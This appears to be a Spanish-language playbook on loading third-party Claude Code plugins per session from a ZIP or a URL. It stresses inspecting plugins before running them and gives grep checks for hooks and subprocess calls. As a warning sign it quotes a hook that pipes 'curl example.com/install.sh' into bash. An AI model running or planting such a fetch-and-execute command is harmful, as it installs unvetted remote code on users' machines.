Cargar plugins ajenos de Claude Code desde ZIP y URL, seguro en 20 minutos

Hace una semana alguien publicó un ZIP de plugin en Discord. "Pruébalo, ayuda con el refactoring." Antes habría clonado el repo, lo habría montado en local, habría mirado si el plugin.json estaba bien, y luego me habría peleado con la entrada del marketplace. Con --plugin-url y --plugin-dir de la ola de mayo (v2.1.128 hasta v2.1.136, del 4 al 8 de mayo de 2026) son dos comandos y una sesión. Si estás del lado consumidor, o sea que pruebas plugins ajenos en vez de construir los tuyos, esta es la barrera de entrada más baja que ha existido nunca.

Suena trivial. Pero tiene dos aristas que pueden doler si no las conoces, y de eso va justo esto.

1. Qué cambió la ola de mayo

Hasta abril de 2026, la distribución de plugins solo pasaba por el marketplace o por un clonar-y-montar local. Con Claude Code 2.1.128 hay dos flags nuevos, --plugin-url para traerlo desde una URL y --plugin-dir para montar un directorio local o un ZIP descomprimido. Ambos flags cargan el plugin solo para la sesión actual. Sin instalación persistente, sin entradas en ~/.claude/settings.json, sin sincronización con el marketplace. Cierras claude y el plugin desaparece.

La documentación oficial en code.claude.com/docs/en/whats-new lista el cambio bajo Week 19 (del 4 al 8 de mayo). El camino del productor (construyes tú y compartes) está descrito en el playbook existente plugin-bundle-via-url-distribution. Aquí va la otra dirección.

2. El caso más simple, probar un ZIP

Alguien te manda un ZIP de plugin por mail o Slack. Lo guardas en ~/Downloads/cool-plugin.zip. Dos formas de cargarlo.

Vía uno, sin descomprimir. claude --plugin-dir ~/Downloads/cool-plugin.zip funciona directamente si el ZIP tiene un .claude-plugin/plugin.json en la raíz. Claude Code lo descomprime él mismo en un directorio temporal y lo monta para la sesión.

Vía dos, descomprimir a mano. unzip ~/Downloads/cool-plugin.zip -d /tmp/cool-plugin && claude --plugin-dir /tmp/cool-plugin. Tiene la ventaja de que antes de arrancar puedes hacer un ls y un cat para ver qué hay dentro. Que es justo lo que te voy a recomendar enseguida.

Si falta el plugin.json o está roto, Claude Code aborta con un error de carga de plugin y arranca sin él. Sin crash, sin estado a medio cargar.

3. Fetch por URL para sesiones desechables

Si el plugin está en algún sitio público (asset de release en GitHub, S3, Dropbox con enlace directo), va en un paso. claude --plugin-url https://github.com/user/plugin/releases/download/v1.0/plugin.zip. Claude Code trae el ZIP, lo deja en ~/.claude/plugins-session-cache/, lo monta y arranca.

Esa carpeta de caché se vacía en la siguiente limpieza regular, así que no se comparte entre sesiones. Si el servidor detrás de la URL está caído, el arranque aborta y tú arrancas a mano sin el plugin. Sin plugins obsoletos, sin "en algún momento estuvo instalado".

Caso de uso claro para el fetch por URL: quieres revisar una versión de build de CI, o echar un vistazo rápido a la demo de un plugin sacada de un post de blog. Sin tracking, sin clonar el repo.

4. Inspección obligatoria antes del primer arranque

Los plugins pueden definir hooks. Los hooks pueden ejecutar comandos de shell. Cuando cargas un plugin ajeno, potencialmente estás ejecutando código ajeno en tu máquina. Aquí es donde tienes que mirar con más cuidado que con un paquete npm, porque los hooks pueden dispararse solos al inicio de la sesión.

Antes de cargar por primera vez un plugin ajeno, hago tres greps en el directorio descomprimido:

cd /tmp/cool-plugin
cat .claude-plugin/plugin.json
grep -r "hooks" . --include="*.json"
grep -rE "(exec|spawn|subprocess|shell)" . --include="*.js" --include="*.ts" --include="*.py"

El primer grep me enseña el manifiesto del plugin, o sea lo que dice que hace. El segundo encuentra todas las definiciones de hooks. El tercero es donde ves las llamadas a subprocesos, o sea donde el plugin ejecuta código de verdad. Si aparece algo que no esperabas (por ejemplo un hook PostInit que hace curl example.com/install.sh | bash), no arranques ese ZIP.

Esta es la lección de la ola de MCP STDIO de abril (mira el playbook mcp-stdio-sicherheit). Cargar plugins no es inherentemente menos seguro que cargar servidores MCP, pero inspeccionar importa igual.

5. Cuándo --plugin-dir es mejor que --plugin-url

Tres casos en los que no quieres la URL.

Trabajas sin conexión, o en una red donde el host de la URL está bloqueado. Baja el ZIP una vez en local y a partir de ahí usa --plugin-dir. Ahorra descargas y hace el comportamiento reproducible.

Quieres modificar el plugin antes de arrancarlo. Con --plugin-dir, Claude Code apunta a tu directorio, puedes tocar ficheros y los cambios se aplican en el siguiente arranque de sesión. Con --plugin-url lo baja fresco en cada arranque, así que tus cambios se perderían.

Quieres usar la misma versión del plugin varias veces. Bajar un ZIP de 5 MB en cada arranque de sesión es un desperdicio. Un unzip una vez, después --plugin-dir desde la ruta local. La carga por URL está pensada de verdad para pruebas rápidas.

6. Entender el alcance de sesión

Ambos flags son solo de sesión. Eso es una feature, no un bug. No tienes que acordarte de desinstalar el plugin más tarde, no tienes que mantener entradas en settings.json. Hace que probar cosas sea mucho más ligero.

Pero también significa que si quieres un plugin para el uso diario, ni la URL ni el montaje de directorio te llevan ahí. Para eso necesitas la ruta del marketplace con claude marketplace add ... o una entrada persistente.

Mi flujo hoy: la primera vez --plugin-url, mirar si el plugin vale algo. Si sí, clonarlo al repo de plugins persistente e integrarlo vía marketplace. Si no, cerrar la sesión y el plugin desaparece.

7. URL de plugin de fuente dudosa, qué hacer

Si alguien en Reddit, Discord o un foro suelta una URL de plugin que no conoces, tres reglas.

Primera regla, baja el ZIP en vez de cargarlo directamente con --plugin-url. El argumento no es la confianza en el plugin, sino la confianza en el host de la URL. Una URL de descarga directa puede cambiarse por otro servidor de un día para otro sin que te enteres. Un ZIP local que ya inspeccionaste una vez es estable.

Segunda regla, un unzip y leer el plugin.json. Si ahí figuran permisos que no esperabas (acceso de escritura al sistema de ficheros para un supuesto plugin de refactoring), para.

Tercera regla, en el primer arranque no toques un proyecto en producción. Coge un directorio de pruebas, mira qué hace el plugin, y luego decide.

Esto no es paranoia. Es el mismo nivel de cuidado que aplicas a un paquete npm que ejecuta un script postinstall.

8. Qué funciona bien en el patrón de test en CI

Si desarrollas un plugin y quieres probarlo en CI, --plugin-dir apuntando al output del build es tu amigo. El paso de build deja el plugin en dist/plugin/, el paso de test lanza claude --plugin-dir ./dist/plugin --print "test command". Headless funciona con los mismos flags, para eso está el playbook claude-code-headless-in-ci-cd.

La carga por URL en CI tiene la desventaja de que dependes de un servidor externo, así que también tienes que permitirlo en la política de red del CI. La carga por directorio funciona con cualquier runner de CI que tenga el directorio del plugin en el checkout.

9. Qué más trajo la ola de mayo

Tres cosas menores que encajan con el tema del setup de plugins, por si ya estás metido ahí.

Ctrl-R ahora busca en el historial de comandos de Claude Code a través de todos los proyectos. Si trabajas en varios repos y escribes el mismo slash command una y otra vez, el historial por fin sirve para algo.

Los worktrees se pueden derivar de HEAD o de una rama remota sin cambiar la rama principal. Encaja con el playbook de worktrees que ahora mismo está en la carpeta de borradores.

claude marketplace search responde notablemente más rápido. No figura como corrección de bug, pero si buscas en muchos marketplaces se nota.

10. Qué sigue

Si ahora quieres cargar tu primer plugin vía URL, hazlo. Si después quieres construir uno propio, lee los playbooks dein-erstes-claude-code-plugin y plugin-bundle-via-url-distribution para el lado del productor. Si quieres ejecutar el plugin en CI, claude-code-headless-in-ci-cd es el siguiente paso. Y si en los greps de hooks del paso 4 te ha chirriado algo, el playbook hooks-gegen-halluzinationen explica cómo escribir hooks seguros tú mismo.

Source

• Claude Code Week 19 Release Notes, https://code.claude.com/docs/en/whats-new/2026-w19
• Documentación de plugins de Claude Code, https://code.claude.com/docs/en/plugins
• Playbook complementario (lado del productor), /playbooks/plugin-bundle-via-url-distribution